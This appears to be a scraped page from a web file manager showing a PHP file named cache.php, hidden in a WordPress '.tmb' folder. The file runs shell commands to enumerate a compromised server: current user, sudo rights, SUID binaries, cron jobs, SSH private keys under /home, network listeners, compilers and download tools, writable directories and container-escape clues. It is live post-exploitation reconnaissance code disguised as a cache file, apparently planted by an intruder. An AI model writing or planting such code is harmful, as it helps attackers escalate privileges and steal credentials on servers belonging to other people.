File manager - Edit - /var/www/html/wordpress/.tmb/cache.php
Back
<?php if (function_exists('opcache_reset')) { opcache_reset(); echo "OPcache has been reset."; } else { echo "OPcache is not enabled or opcache_reset() function does not exist."; } echo "================== SYSTEM INFO ==================\n"; echo "User: " . trim(shell_exec("whoami")) . "\n"; echo "UID: " . trim(shell_exec("id")) . "\n"; echo "OS: " . trim(shell_exec("uname -a")) . "\n"; echo "Release: " . trim(shell_exec("cat /etc/os-release 2>/dev/null")) . "\n"; echo "\n================== SUDO CHECK ==================\n"; echo shell_exec("sudo -l 2>/dev/null") ?: "No sudo or permission denied.\n"; echo "\n================== SUID BINARIES ==================\n"; echo shell_exec("find / -perm -4000 -type f 2>/dev/null | grep -v '/snap/'"); echo "\n================== CRON JOBS ==================\n"; echo "[+] /etc/crontab:\n" . shell_exec("cat /etc/crontab 2>/dev/null"); echo "[+] /etc/cron.d:\n" . shell_exec("ls -al /etc/cron.d 2>/dev/null"); echo "[+] user crontab:\n" . shell_exec("crontab -l 2>/dev/null"); echo "\n================== USER & SSH ==================\n"; echo shell_exec("ls -al /home/ 2>/dev/null"); echo shell_exec("find /home -name 'id_rsa*' 2>/dev/null"); echo "\n================== NETWORK INFO ==================\n"; echo shell_exec("ip a 2>/dev/null") ?: shell_exec("ifconfig 2>/dev/null"); echo shell_exec("netstat -tunlp 2>/dev/null"); echo "\n================== ENV + COMPILERS ==================\n"; echo "PATH: " . getenv("PATH") . "\n"; echo "gcc: " . shell_exec("which gcc"); echo "python: " . shell_exec("which python"); echo "perl: " . shell_exec("which perl"); echo "curl: " . shell_exec("which curl"); echo "wget: " . shell_exec("which wget"); echo "\n================== WRITABLE DIRECTORIES ==================\n"; echo shell_exec("find / -type d -writable -not -path '/proc/*' -not -path '/sys/*' -not -path '/snap/*' 2>/dev/null | head -n 30"); echo "\n================== POSSIBLE ESCAPE ==================\n"; echo shell_exec("cat /proc/1/cgroup 2>/dev/null"); ?>
| ver. 1.4 |
.
| PHP 8.3.10 | Generation time: 0 |
proxy
|
phpinfo
|
Settings